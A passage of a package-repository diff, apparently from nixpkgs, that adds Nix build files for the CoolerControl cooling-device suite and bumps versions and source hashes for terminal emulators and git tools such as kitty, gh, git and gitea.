"serde", + "static_assertions", + "zvariant", +] + +[[package]] +name = "zvariant" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44b291bee0d960c53170780af148dca5fa260a63cdd24f1962fa82e03e53338c" +dependencies = [ + "byteorder", + "enumflags2", + "libc", + "serde", + "static_assertions", + "zvariant_derive", +] + +[[package]] +name = "zvariant_derive" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "934d7a7dfc310d6ee06c87ffe88ef4eca7d3e37bb251dece2ef93da8f17d8ecd" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 1.0.109", + "zvariant_utils", +] + +[[package]] +name = "zvariant_utils" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7234f0d811589db492d16893e3f21e8e2fd282e6d01b0cddee310322062cc200" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] diff --git a/pkgs/applications/system/coolercontrol/coolercontrol-gui.nix b/pkgs/applications/system/coolercontrol/coolercontrol-gui.nix new file mode 100644 index 0000000000000..2e9e9699d074d --- /dev/null +++ b/pkgs/applications/system/coolercontrol/coolercontrol-gui.nix @@ -0,0 +1,73 @@ +{ lib +, buildNpmPackage +, rustPlatform +, dbus +, freetype +, gtk3 +, libsoup +, openssl +, pkg-config +, webkitgtk +, libappindicator +, makeWrapper +, coolercontrol +}: + +{ version +, src +, meta +}: + +rustPlatform.buildRustPackage { + pname = "coolercontrol"; + inherit version src; + sourceRoot = "${src.name}/coolercontrol-ui/src-tauri"; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "tauri-plugin-autostart-0.0.0" = "sha256-ATw3dbvG3IsLaLBg5wGk7hVRqipwL4xPGKdtD9a5VIw="; + }; + }; + + buildFeatures = [ "custom-protocol" ]; + + nativeBuildInputs = [ + makeWrapper + pkg-config + ]; + + buildInputs = [ + dbus + openssl + freetype + libsoup + gtk3 + webkitgtk + libappindicator + ]; + + checkFeatures = [ "custom-protocol" ]; + + # copy the frontend static resources to final build directory + # Also modify tauri.conf.json so that it expects the resources at the new location + postPatch = '' + mkdir -p ui-build + cp -R ${coolercontrol.coolercontrol-ui-data}/* ui-build/ + substituteInPlace tauri.conf.json --replace '"distDir": "../dist"' '"distDir": "ui-build"' + ''; + + postInstall = '' + install -Dm644 "${src}/packaging/metadata/org.coolercontrol.CoolerControl.desktop" -t "$out/share/applications/" + install -Dm644 "${src}/packaging/metadata/org.coolercontrol.CoolerControl.metainfo.xml" -t "$out/share/metainfo/" + install -Dm644 "${src}/packaging/metadata/org.coolercontrol.CoolerControl.png" -t "$out/share/icons/hicolor/256x256/apps/" + install -Dm644 "${src}/packaging/metadata/org.coolercontrol.CoolerControl.svg" -t "$out/share/icons/hicolor/scalable/apps/" + wrapProgram $out/bin/coolercontrol \ + --prefix LD_LIBRARY_PATH : ${lib.makeLibraryPath [ libappindicator ]} + ''; + + meta = meta // { + description = "${meta.description} (GUI)"; + mainProgram = "coolercontrol"; + }; +} diff --git a/pkgs/applications/system/coolercontrol/coolercontrol-liqctld.nix b/pkgs/applications/system/coolercontrol/coolercontrol-liqctld.nix new file mode 100644 index 0000000000000..054b7a8fafff7 --- /dev/null +++ b/pkgs/applications/system/coolercontrol/coolercontrol-liqctld.nix @@ -0,0 +1,36 @@ +{ python3 +}: + +{ version +, src +, meta +}: + +python3.pkgs.buildPythonApplication { + pname = "coolercontrol-liqctld"; + inherit version src; + sourceRoot = "${src.name}/coolercontrol-liqctld"; + format = "pyproject"; + + nativeBuildInputs = with python3.pkgs; [ + setuptools + ]; + + propagatedBuildInputs = with python3.pkgs; [ + liquidctl + setproctitle + fastapi + uvicorn + ]; + + postInstall = '' + install -Dm444 "${src}/packaging/systemd/coolercontrol-liqctld.service" -t "$out/lib/systemd/system" + substituteInPlace "$out/lib/systemd/system/coolercontrol-liqctld.service" \ + --replace '/usr/bin' "$out/bin" + ''; + + meta = meta // { + description = "${meta.description} (Liquidctl Daemon)"; + mainProgram = "coolercontrol-liqctld"; + }; +} diff --git a/pkgs/applications/system/coolercontrol/coolercontrol-ui-data.nix b/pkgs/applications/system/coolercontrol/coolercontrol-ui-data.nix new file mode 100644 index 0000000000000..96cd6f9bf3fa7 --- /dev/null +++ b/pkgs/applications/system/coolercontrol/coolercontrol-ui-data.nix @@ -0,0 +1,25 @@ +{ buildNpmPackage +}: + +{ version +, src +, meta +}: + +buildNpmPackage { + pname = "coolercontrol-ui"; + inherit version src; + sourceRoot = "${src.name}/coolercontrol-ui"; + + npmDepsHash = "sha256-7Hd1LT1ro83QMuoDGvFGsrTlQaSia+lVG8lyaAibiAo="; + + postBuild = '' + cp -r dist $out + ''; + + dontInstall = true; + + meta = meta // { + description = "${meta.description} (UI data)"; + }; +} diff --git a/pkgs/applications/system/coolercontrol/coolercontrold.nix b/pkgs/applications/system/coolercontrol/coolercontrold.nix new file mode 100644 index 0000000000000..087fa4ad215eb --- /dev/null +++ b/pkgs/applications/system/coolercontrol/coolercontrold.nix @@ -0,0 +1,42 @@ +{ rustPlatform +, buildNpmPackage +, testers +, coolercontrol +}: + +{ version +, src +, meta +}: + +rustPlatform.buildRustPackage { + pname = "coolercontrold"; + inherit version src; + sourceRoot = "${src.name}/coolercontrold"; + + cargoHash = "sha256-Ybqr36AkcPnGJeFcCqg/zuWcaooZ1gJPCi5IbgXmeJ0="; + + # copy the frontend static resources to a directory for embedding + postPatch = '' + mkdir -p ui-build + cp -R ${coolercontrol.coolercontrol-ui-data}/* ui-build/ + substituteInPlace build.rs --replace '"./resources/app"' '"./ui-build"' + ''; + + postInstall = '' + install -Dm444 "${src}/packaging/systemd/coolercontrold.service" -t "$out/lib/systemd/system" + substituteInPlace "$out/lib/systemd/system/coolercontrold.service" \ + --replace '/usr/bin' "$out/bin" + ''; + + passthru.tests.version = testers.testVersion { + package = coolercontrol.coolercontrold; + # coolercontrold prints its version with "v" prefix + version = "v${version}"; + }; + + meta = meta // { + description = "${meta.description} (Main Daemon)"; + mainProgram = "coolercontrold"; + }; +} diff --git a/pkgs/applications/system/coolercontrol/default.nix b/pkgs/applications/system/coolercontrol/default.nix new file mode 100644 index 0000000000000..6562da13d3995 --- /dev/null +++ b/pkgs/applications/system/coolercontrol/default.nix @@ -0,0 +1,34 @@ +{ lib +, fetchFromGitLab +, callPackage +}: + +let + version = "1.1.1"; + + src = fetchFromGitLab { + owner = "coolercontrol"; + repo = "coolercontrol"; + rev = version; + hash = "sha256-QgUYfiiADKVHqOU9WTv+VAqep0IU6Ezy8ZzJwkdHIJQ="; + }; + + meta = with lib; { + description = "Monitor and control your cooling devices"; + homepage = "https://gitlab.com/coolercontrol/coolercontrol"; + license = licenses.gpl3Plus; + platforms = [ "x86_64-linux" ]; + maintainers = with maintainers; [ codifryed OPNA2608 ]; + }; + + applySharedDetails = drv: drv { inherit version src meta; }; +in +rec { + coolercontrol-ui-data = applySharedDetails (callPackage ./coolercontrol-ui-data.nix { }); + + coolercontrold = applySharedDetails (callPackage ./coolercontrold.nix { }); + + coolercontrol-gui = applySharedDetails (callPackage ./coolercontrol-gui.nix { }); + + coolercontrol-liqctld = applySharedDetails (callPackage ./coolercontrol-liqctld.nix { }); +} diff --git a/pkgs/applications/system/mgmt/default.nix b/pkgs/applications/system/mgmt/default.nix index 8a83966308158..bfa85ef566fdf 100644 --- a/pkgs/applications/system/mgmt/default.nix +++ b/pkgs/applications/system/mgmt/default.nix @@ -63,5 +63,6 @@ buildGoModule rec { homepage = "https://mgmtconfig.com"; license = licenses.gpl3Only; maintainers = with maintainers; [ urandom ]; + mainProgram = "mgmt"; }; } diff --git a/pkgs/applications/system/psitop/default.nix b/pkgs/applications/system/psitop/default.nix index cfcdf2488f6ac..74edad8b18c0d 100644 --- a/pkgs/applications/system/psitop/default.nix +++ b/pkgs/applications/system/psitop/default.nix @@ -23,5 +23,6 @@ buildGoModule rec { homepage = "https://github.com/jamespwilliams/psitop"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "psitop"; }; } diff --git a/pkgs/applications/system/zxfer/default.nix b/pkgs/applications/system/zxfer/default.nix index b62c1262430ca..855be7bc3be08 100644 --- a/pkgs/applications/system/zxfer/default.nix +++ b/pkgs/applications/system/zxfer/default.nix @@ -82,5 +82,6 @@ resholve.mkDerivation rec { changelog = "https://github.com/allanjude/zxfer/releases/tag/v${version}"; license = licenses.bsd2; maintainers = with lib.maintainers; [ urandom ]; + mainProgram = "zxfer"; }; } diff --git a/pkgs/applications/terminal-emulators/contour/default.nix b/pkgs/applications/terminal-emulators/contour/default.nix index c106382108a48..19793c384f1bc 100644 --- a/pkgs/applications/terminal-emulators/contour/default.nix +++ b/pkgs/applications/terminal-emulators/contour/default.nix @@ -30,13 +30,13 @@ stdenv.mkDerivation (final: { pname = "contour"; - version = "0.4.2.6429"; + version = "0.4.3.6442"; src = fetchFromGitHub { owner = "contour-terminal"; repo = "contour"; rev = "v${final.version}"; - hash = "sha256-MUgGNglPojFFlGlwrF8ivu18jAnjjfs9pMqu0jLAsYg="; + hash = "sha256-m3BEhGbyQm07+1/h2IRhooLPDewmSuhRHOMpWPDluiY="; }; patches = [ ./dont-fix-app-bundle.diff ]; diff --git a/pkgs/applications/terminal-emulators/kitty/default.nix b/pkgs/applications/terminal-emulators/kitty/default.nix index 0cc73c17f3936..2a249d0426ca5 100644 --- a/pkgs/applications/terminal-emulators/kitty/default.nix +++ b/pkgs/applications/terminal-emulators/kitty/default.nix @@ -30,20 +30,20 @@ with python3Packages; buildPythonApplication rec { pname = "kitty"; - version = "0.32.1"; + version = "0.32.2"; format = "other"; src = fetchFromGitHub { owner = "kovidgoyal"; repo = "kitty"; rev = "refs/tags/v${version}"; - hash = "sha256-d+Xwn+po/pclAy4UZ4pR4KWmriHCLPeMhXxoHp6wHT8="; + hash = "sha256-CgL+XXVTGLbNXm7DLenrkCZAfspyNubGOAPUZmKiq2c="; }; goModules = (buildGoModule { pname = "kitty-go-modules"; inherit src version; - vendorHash = "sha256-WRDP3Uyttz/kWm07tjv7wNguF/a1YgZqutbvFEOHuE0="; + vendorHash = "sha256-Ve8s4vgDmByfvyJL8a36+7g3QErkhqVXGCSu6vHFFx0="; }).goModules; buildInputs = [ diff --git a/pkgs/applications/terminal-emulators/rio/default.nix b/pkgs/applications/terminal-emulators/rio/default.nix index afb380134b581..2eb978a4c181c 100644 --- a/pkgs/applications/terminal-emulators/rio/default.nix +++ b/pkgs/applications/terminal-emulators/rio/default.nix @@ -51,16 +51,16 @@ let in rustPlatform.buildRustPackage rec { pname = "rio"; - version = "0.0.34"; + version = "0.0.35"; src = fetchFromGitHub { owner = "raphamorim"; repo = "rio"; rev = "v${version}"; - hash = "sha256-UHA2j7NOPBl7qrCu5bWLHjpVgWxlydtj0F7lfAlQZXg="; + hash = "sha256-e+GiNwvjwIi5wCyI+IQ0BZ8IR8by5RUq8dk1JO50mjU="; }; - cargoHash = "sha256-xqLticREnGxsuo2d7d3VaFWbGJ5A1L7GvDwV7qQ61xs="; + cargoHash = "sha256-voQQjouCOwVLzOKtDUCa1lZLgx0JB7mvCqOY4BhmMr4="; nativeBuildInputs = [ ncurses diff --git a/pkgs/applications/terminal-emulators/xterm/default.nix b/pkgs/applications/terminal-emulators/xterm/default.nix index b0d8dd7a4b399..de384056e4065 100644 --- a/pkgs/applications/terminal-emulators/xterm/default.nix +++ b/pkgs/applications/terminal-emulators/xterm/default.nix @@ -4,14 +4,14 @@ stdenv.mkDerivation rec { pname = "xterm"; - version = "388"; + version = "389"; src = fetchurl { urls = [ "ftp://ftp.invisible-island.net/xterm/${pname}-${version}.tgz" "https://invisible-mirror.net/archives/xterm/${pname}-${version}.tgz" ]; - hash = "sha256-rEKTReb5N6WUWonUJaJl/ubCFfxmnb3GoDJuIfTF9nQ="; + hash = "sha256-HNV2PZTZNw/tENgE6DGgibKs4OenS29W71oWp2a9574="; }; strictDeps = true; diff --git a/pkgs/applications/version-management/commitizen/default.nix b/pkgs/applications/version-management/commitizen/default.nix index d7abe6812c5c5..5b5042494c499 100644 --- a/pkgs/applications/version-management/commitizen/default.nix +++ b/pkgs/applications/version-management/commitizen/default.nix @@ -11,7 +11,7 @@ python3.pkgs.buildPythonApplication rec { pname = "commitizen"; - version = "3.14.1"; + version = "3.16.0"; format = "pyproject"; disabled = python3.pythonOlder "3.8"; @@ -20,7 +20,7 @@ python3.pkgs.buildPythonApplication rec { owner = "commitizen-tools"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-yRcc87V4XJuTyrngQgPGJozk+hd7SRHERLvsQ/yZKYQ="; + hash = "sha256-vd8MtkzI7PPow0Ld0NhwbWOUWgSgecAT/DZK0ocUWCw="; }; pythonRelaxDeps = [ diff --git a/pkgs/applications/version-management/conform/default.nix b/pkgs/applications/version-management/conform/default.nix index 7ee825f566ec7..65ce7e63d603a 100644 --- a/pkgs/applications/version-management/conform/default.nix +++ b/pkgs/applications/version-management/conform/default.nix @@ -2,15 +2,16 @@ buildGoModule rec { pname = "conform"; - version = "0.1.0-alpha.27"; + version = "0.1.0-alpha.29"; src = fetchFromGitHub { owner = "siderolabs"; repo = "conform"; rev = "v${version}"; - sha256 = "sha256-lIXkflWQcUcmRDX9iSszFLKpI8nSgkCCB2+GQn07+DM="; + hash = "sha256-5knN+lTedUdgWG8rb3zuJAxx9N0lt7LjJvmSJhdTSgw="; }; - vendorHash = "sha256-Oigt7tAK4jhBQtfG1wdLHqi11NWu6uJn5fmuqTmR76E="; + + vendorHash = "sha256-hDdNYXy5NIrlqT6yyOglFg2v7HOM9nE+oh7mx2kLdnQ="; ldflags = [ "-s" diff --git a/pkgs/applications/version-management/forgejo/default.nix b/pkgs/applications/version-management/forgejo/default.nix index 07ce100f2a9ac..c76b6ee984082 100644 --- a/pkgs/applications/version-management/forgejo/default.nix +++ b/pkgs/applications/version-management/forgejo/default.nix @@ -39,17 +39,17 @@ let in buildGoModule rec { pname = "forgejo"; - version = "1.21.5-0"; + version = "1.21.7-0"; src = fetchFromGitea { domain = "codeberg.org"; owner = "forgejo"; repo = "forgejo"; rev = "v${version}"; - hash = "sha256-SmNmMlO9bEccrk0oWm7VnBaIRGJgTQ5hOSIn6DRiYqk="; + hash = "sha256-wYwQnZRIJSbwI+kOPedxnIdfhQ/wWxXpOpdfcFono6k="; }; - vendorHash = "sha256-5BznZiPZCwFEl74JVf7ujFtzsTyG6AcKvQG0LdaMKe4="; + vendorHash = "sha256-Mptfd1WoUXNQkw7sa/GxIO7s5V5/9VmVBtvPCjMsa/4="; subPackages = [ "." ]; diff --git a/pkgs/applications/version-management/gh/default.nix b/pkgs/applications/version-management/gh/default.nix index 33d968c53757c..129ae0854bd5f 100644 --- a/pkgs/applications/version-management/gh/default.nix +++ b/pkgs/applications/version-management/gh/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "gh"; - version = "2.43.1"; + version = "2.45.0"; src = fetchFromGitHub { owner = "cli"; repo = "cli"; rev = "v${version}"; - hash = "sha256-FPKYp3tdYXncHjfo6E6tRnEG9AQ0RU6FaezwMlTOCtA="; + hash = "sha256-jztBWn/1bDTxR/q27RYJM6boFWyduTKAtIn5zIZK2tU="; }; - vendorHash = "sha256-r1zcwBz/mJOv1RU4Ilgg73yH37xu7a/BmqgAkiODq0I="; + vendorHash = "sha256-FprVBvYPGWLcUKlWg9JU7yy2KDa/3rceAEHUIYHN4f8="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/applications/version-management/ghq/default.nix b/pkgs/applications/version-management/ghq/default.nix index 17ac4a3b08949..f23fd8b441ac9 100644 --- a/pkgs/applications/version-management/ghq/default.nix +++ b/pkgs/applications/version-management/ghq/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "ghq"; - version = "1.4.2"; + version = "1.5.0"; src = fetchFromGitHub { owner = "x-motemen"; repo = "ghq"; rev = "v${version}"; - sha256 = "sha256-ggTx5Kz9cRqOqxxzERv4altf7m1GlreGgOiYCnHyJks="; + sha256 = "sha256-l+Ycts7PSKR72GsHJ1zWqpyd0BMMib/GTUv+B0x6d8M="; }; vendorHash = "sha256-6ZDvU3RQ/1M4DZMFOaQsEuodldB8k+2thXNhvZlVQEg="; diff --git a/pkgs/applications/version-management/git-absorb/default.nix b/pkgs/applications/version-management/git-absorb/default.nix index b45df5d9a0f66..13dcac9fde6d8 100644 --- a/pkgs/applications/version-management/git-absorb/default.nix +++ b/pkgs/applications/version-management/git-absorb/default.nix @@ -2,20 +2,20 @@ rustPlatform.buildRustPackage rec { pname = "git-absorb"; - version = "0.6.11"; + version = "0.6.12"; src = fetchFromGitHub { owner = "tummychow"; repo = "git-absorb"; rev = "refs/tags/${version}"; - hash = "sha256-SYBJKnzv2oktWubgm/j6wEeoLSBjGqQVXQf9LOaq+NU="; + hash = "sha256-yHCO1v1d0MUakae16fFVvtKG3rVxU/Cii/G6IKzyebA="; }; nativeBuildInputs = [ installShellFiles ]; buildInputs = lib.optionals stdenv.isDarwin [ Security ]; - cargoHash = "sha256-i2ntM7NTi+hiB7DxEEV+3SXV8sVVWcNanif/wUZ9XvI="; + cargoHash = "sha256-Bx7gH7jSLizG95JyBtziPBby9mF1Nj3CQexIg6gaiM0="; postInstall = '' installManPage Documentation/git-absorb.1 diff --git a/pkgs/applications/version-management/git-aggregator/default.nix b/pkgs/applications/version-management/git-aggregator/default.nix index 22127c1141106..34365cb5d90dd 100644 --- a/pkgs/applications/version-management/git-aggregator/default.nix +++ b/pkgs/applications/version-management/git-aggregator/default.nix @@ -37,7 +37,7 @@ python3Packages.buildPythonApplication rec { description = "Manage the aggregation of git branches from different remotes to build a consolidated one"; homepage = "https://github.com/acsone/git-aggregator"; license = licenses.agpl3Plus; - maintainers = with maintainers; [ lourkeur ]; + maintainers = with maintainers; [ bbjubjub ]; mainProgram = "gitaggregate"; }; } diff --git a/pkgs/applications/version-management/git-branchless/default.nix b/pkgs/applications/version-management/git-branchless/default.nix index 6bcfb0a6cdc77..a8041f2698bb9 100644 --- a/pkgs/applications/version-management/git-branchless/default.nix +++ b/pkgs/applications/version-management/git-branchless/default.nix @@ -37,6 +37,10 @@ rustPlatform.buildRustPackage rec { libiconv ]; + postInstall = '' + $out/bin/git-branchless install-man-pages $out/share/man + ''; + preCheck = '' export TEST_GIT=${git}/bin/git export TEST_GIT_EXEC_PATH=$(${git}/bin/git --exec-path) diff --git a/pkgs/applications/version-management/git-cliff/default.nix b/pkgs/applications/version-management/git-cliff/default.nix index 7a1179dba3015..b8b2a28a7795a 100644 --- a/pkgs/applications/version-management/git-cliff/default.nix +++ b/pkgs/applications/version-management/git-cliff/default.nix @@ -3,26 +3,27 @@ , fetchFromGitHub , rustPlatform , Security +, SystemConfiguration }: rustPlatform.buildRustPackage rec { pname = "git-cliff"; - version = "1.4.0"; + version = "2.1.2"; src = fetchFromGitHub { owner = "orhun"; repo = "git-cliff"; rev = "v${version}"; - hash = "sha256-OK2eoWlqlpf/X8EGMnWTv9Gs5FkYvW5rmQDB/Mkbp60="; + hash = "sha256-5NWMpdrOWQcA3cxd5WNtnamnSMuZU3BGEMlRZ8NR+NE="; }; - cargoHash = "sha256-gtkpZKOaG5p79uJ9cbbGdiOX57bDFTf2/Bd8+WToJrw="; + cargoHash = "sha256-kIO3mD4SdQqlZYty8QWOBVvmaXujcEijeRONGYNZSng="; # attempts to run the program on .git in src which is not deterministic doCheck = false; buildInputs = lib.optionals stdenv.isDarwin [ - Security + Security SystemConfiguration ]; meta = with lib; { diff --git a/pkgs/applications/version-management/git-codereview/default.nix b/pkgs/applications/version-management/git-codereview/default.nix index 98a616d4dff95..2bbcc10202af1 100644 --- a/pkgs/applications/version-management/git-codereview/default.nix +++ b/pkgs/applications/version-management/git-codereview/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "git-codereview"; - version = "1.9.0"; + version = "1.10.0"; src = fetchFromGitHub { owner = "golang"; repo = "review"; rev = "v${version}"; - hash = "sha256-Nnjo4MwkpFp1OTJZ+eeiJKboBGiRW520iWcJbu8cBnE="; + hash = "sha256-aLvx9lYQJYUw2XBj+2P+yEJMboUjmHKzxP5QA3N93JA="; }; vendorHash = null; diff --git a/pkgs/applications/version-management/git-credential-oauth/default.nix b/pkgs/applications/version-management/git-credential-oauth/default.nix index d04faab2a65cb..66d2439a00edd 100644 --- a/pkgs/applications/version-management/git-credential-oauth/default.nix +++ b/pkgs/applications/version-management/git-credential-oauth/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "git-credential-oauth"; - version = "0.11.0"; + version = "0.11.1"; src = fetchFromGitHub { owner = "hickford"; repo = pname; rev = "v${version}"; - hash = "sha256-Zxdd4JhSoaAFx8neZqdOZSZEOTtupZHnX+5ziYxbw6s="; + hash = "sha256-bqyoAAqli0L6Kf+W1sTh2vmmfaIj2OdpQyvQZnYOWWA="; }; ldflags = [ diff --git a/pkgs/applications/version-management/git-dive/default.nix b/pkgs/applications/version-management/git-dive/default.nix index 983d7b3dd672c..c0209c38cfa9e 100644 --- a/pkgs/applications/version-management/git-dive/default.nix +++ b/pkgs/applications/version-management/git-dive/default.nix @@ -2,8 +2,7 @@ , rustPlatform , fetchFromGitHub , pkg-config - # libgit2-sys doesn't support libgit2 1.6 yet -, libgit2_1_5 +, libgit2 , oniguruma , zlib , stdenv @@ -29,7 +28,7 @@ rustPlatform.buildRustPackage rec { ]; buildInputs = [ - libgit2_1_5 + libgit2 oniguruma zlib ] ++ lib.optionals stdenv.isDarwin [ @@ -54,7 +53,10 @@ rustPlatform.buildRustPackage rec { git config --global user.email nixbld@example.com ''; - RUSTONIG_SYSTEM_LIBONIG = true; + env = { + LIBGIT2_NO_VENDOR = 1; + RUSTONIG_SYSTEM_LIBONIG = true; + }; meta = with lib; { description = "Dive into a file's history to find root cause"; diff --git a/pkgs/applications/version-management/git-gone/default.nix b/pkgs/applications/version-management/git-gone/default.nix index 559c81dd48c63..133bc35f64fa2 100644 --- a/pkgs/applications/version-management/git-gone/default.nix +++ b/pkgs/applications/version-management/git-gone/default.nix @@ -8,16 +8,16 @@ rustPlatform.buildRustPackage rec { pname = "git-gone"; - version = "1.0.0"; + version = "1.1.0"; src = fetchFromGitHub { owner = "swsnr"; repo = "git-gone"; rev = "v${version}"; - hash = "sha256-cEMFbG7L48s1SigLD/HfQ2NplGZPpO+KIgs3oV3rgQQ="; + hash = "sha256-Mc9/P4VBmLOC05xqdx/yopbhvdpQS3uejc4YA7BIgug="; }; - cargoHash = "sha256-CCPVjOWM59ELd4AyT968v6kvGdVwkMxxLZGDiJlLkzA="; + cargoHash = "sha256-NyyficEDJReMLAw2VAK2fOXNIwHilnUqQRACGck+0Vo="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/applications/version-management/git-ignore/default.nix b/pkgs/applications/version-management/git-ignore/default.nix index ca931ac2786dc..b32b1aa52161b 100644 --- a/pkgs/applications/version-management/git-ignore/default.nix +++ b/pkgs/applications/version-management/git-ignore/default.nix @@ -8,16 +8,16 @@ rustPlatform.buildRustPackage rec { pname = "git-ignore"; - version = "1.2.2"; + version = "1.3.3"; src = fetchFromGitHub { owner = "sondr3"; repo = pname; rev = "v${version}"; - hash = "sha256-kIRuoY0dM2t+aY4iYdik9gUpG+81sDiJLD11Bmx68FI="; + hash = "sha256-OVKRNj3tRi/PGY1m4rdpmH87laYzTkCiwoBc3txVJ3U="; }; - cargoHash = "sha256-6sb+OW5VtA6vY6fDtsaZePZD53ehH7QawxJJlUNsrnM="; + cargoHash = "sha256-dAQKL+sMThpTqBoN5MZvm8tQUJhaSH7lT8DwbjzFq40="; nativeBuildInputs = [ installShellFiles diff --git a/pkgs/applications/version-management/git-lfs/default.nix b/pkgs/applications/version-management/git-lfs/default.nix index 6988e590cf72d..d8e0815c91a8b 100644 --- a/pkgs/applications/version-management/git-lfs/default.nix +++ b/pkgs/applications/version-management/git-lfs/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "git-lfs"; - version = "3.4.1"; + version = "3.5.0"; src = fetchFromGitHub { owner = "git-lfs"; repo = "git-lfs"; rev = "v${version}"; - hash = "sha256-XqxkNCC2yzUTVOi/1iDsnxtLkw4jfQuBh9UsjtZ1zVc="; + hash = "sha256-iBv9kUaoyH9yEoCZYGYm+gmdjb797hWftzwkRNDNu3k="; }; - vendorHash = "sha256-VmPeQYWOHFqFLHKcKH3WHz50yx7GMHVIDPzqiVwwjSg="; + vendorHash = "sha256-N8HB2qwBxjzfNucftHxmX2W9srCx62pjmkCWzwiCj/I="; nativeBuildInputs = [ asciidoctor installShellFiles ]; diff --git a/pkgs/applications/version-management/git-machete/default.nix b/pkgs/applications/version-management/git-machete/default.nix index 776ec66d3a77a..96800e5ea91c7 100644 --- a/pkgs/applications/version-management/git-machete/default.nix +++ b/pkgs/applications/version-management/git-machete/default.nix @@ -12,13 +12,13 @@ buildPythonApplication rec { pname = "git-machete"; - version = "3.22.0"; + version = "3.23.2"; src = fetchFromGitHub { owner = "virtuslab"; repo = pname; rev = "v${version}"; - hash = "sha256-2oEpBNMHj4qpkPp8rXEMsRRiRQeC30hQCQh7d8bOLUU="; + hash = "sha256-1b8nKA6/UYiFPx7Va2GBUsGWxeOABFgyVVrYtHcKyrA="; }; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/applications/version-management/git-mit/default.nix b/pkgs/applications/version-management/git-mit/default.nix index d4dece40ebdef..bc59aa6ffda16 100644 --- a/pkgs/applications/version-management/git-mit/default.nix +++ b/pkgs/applications/version-management/git-mit/default.nix @@ -2,7 +2,7 @@ , rustPlatform , fetchFromGitHub , pkg-config -, libgit2_1_5 +, libgit2 , openssl , zlib , stdenv @@ -10,7 +10,7 @@ }: let - version = "5.12.186"; + version = "5.12.191"; in rustPlatform.buildRustPackage { pname = "git-mit"; @@ -20,21 +20,25 @@ rustPlatform.buildRustPackage { owner = "PurpleBooth"; repo = "git-mit"; rev = "v${version}"; - hash = "sha256-895QAtKUzqiWffw5IgovXBiARncelrmz1FUEbeHYoW0="; + hash = "sha256-aSEoAs0s7zyALf3s77eVlrjkCrn7ihW/4OW5hN8YL8k="; }; - cargoHash = "sha256-E3xwZ9oB7oe5gVLAasvo1MWPjDPLKZgSX98VZAq2O3k="; + cargoHash = "sha256-pm+XreLGxZJKRcrmU1ooMjN7MTRJqgKOy2J1OqdodxE="; nativeBuildInputs = [ pkg-config ]; buildInputs = [ - libgit2_1_5 + libgit2 openssl zlib ] ++ lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.AppKit ]; + env = { + LIBGIT2_NO_VENDOR = 1; + }; + meta = with lib; { description = "Minimalist set of hooks to aid pairing and link commits to issues"; homepage = "https://github.com/PurpleBooth/git-mit"; diff --git a/pkgs/applications/version-management/git/default.nix b/pkgs/applications/version-management/git/default.nix index 24eb5c15f5e68..aa591f08afebf 100644 --- a/pkgs/applications/version-management/git/default.nix +++ b/pkgs/applications/version-management/git/default.nix @@ -29,7 +29,7 @@ assert sendEmailSupport -> perlSupport; assert svnSupport -> perlSupport; let - version = "2.43.0"; + version = "2.43.1"; svn = subversionClient.override { perlBindings = perlSupport; }; gitwebPerlLibs = with perlPackages; [ CGI HTMLParser CGIFast FCGI FCGIProcManager HTMLTagCloud ]; in @@ -42,7 +42,7 @@ stdenv.mkDerivation (finalAttrs: { src = fetchurl { url = "https://www.kernel.org/pub/software/scm/git/git-${version}.tar.xz"; - hash = "sha256-VEZgPnPZEXgdJZ5WV1Dc0nekKDbI45LKyRzxN6qbduw="; + hash = "sha256-IjTze0U/+ORnLCGtQNQcxzk8mo3N/mQL7HrFtTWPMNI="; }; outputs = [ "out" ] ++ lib.optional withManual "doc"; diff --git a/pkgs/applications/version-management/gitea/default.nix b/pkgs/applications/version-management/gitea/default.nix index 09114d2275e79..e5b05f211f62d 100644 --- a/pkgs/applications/version-management/gitea/default.nix +++ b/pkgs/applications/version-management/gitea/default.nix @@ -20,12 +20,12 @@ buildGoModule rec { pname = "gitea"; - version = "1.21.5"; + version = "1.21.7"; # not fetching directly from the git repo, because that lacks several vendor files for the web UI src = fetchurl { url = "https://dl.gitea.com/gitea/${version}/gitea-src-${version}.tar.gz"; - hash = "sha256-VnJF6CSssQYs8yIKmXvxYHh2CfLiJhuKtjRdqKIQGxw="; + hash = "sha256-d/3BPOSez7M2Xh2x9H2KsDIZ69PHinHIzQ6ekt/yWas="; }; vendorHash = null; diff --git a/pkgs/applications/version-management/gitoxide/default.nix b/pkgs/applications/version-management/gitoxide/default.nix index ed3f3c8764f4a..ecadfb5d13cd5 100644 --- a/pkgs/applications/version-management/gitoxide/default.nix +++ b/pkgs/applications/version-management/gitoxide/default.nix @@ -9,27 +9,39 @@ , SystemConfiguration , curl , openssl +, buildPackages +, installShellFiles }: -rustPlatform.buildRustPackage rec { +let + canRunCmd = stdenv.hostPlatform.emulatorAvailable buildPackages; + gix = "${stdenv.hostPlatform.emulator buildPackages} $out/bin/gix"; +in rustPlatform.buildRustPackage rec { pname = "gitoxide"; - version = "0.33.0"; + version = "0.34.0"; src = fetchFromGitHub { owner = "Byron"; repo = "gitoxide"; rev = "v${version}"; - hash = "sha256-mqPaSUBb10LIo95GgqAocD9kALzcSlJyQaimb6xfMLs="; + hash = "sha256-CHlLValZnO5Jd7boMWnK9bYCSjjM4Dj6xvn6tBlvP8c="; }; - cargoHash = "sha256-JOl/hhyuc6vqeK6/oXXMB3fGRapBsuOTaUG+BQ9QSnk="; + cargoHash = "sha256-7nc6eIuY08nTeHMVwKukOdd0zP6xbUPo7NcZ8EEGUNI="; - nativeBuildInputs = [ cmake pkg-config ]; + nativeBuildInputs = [ cmake 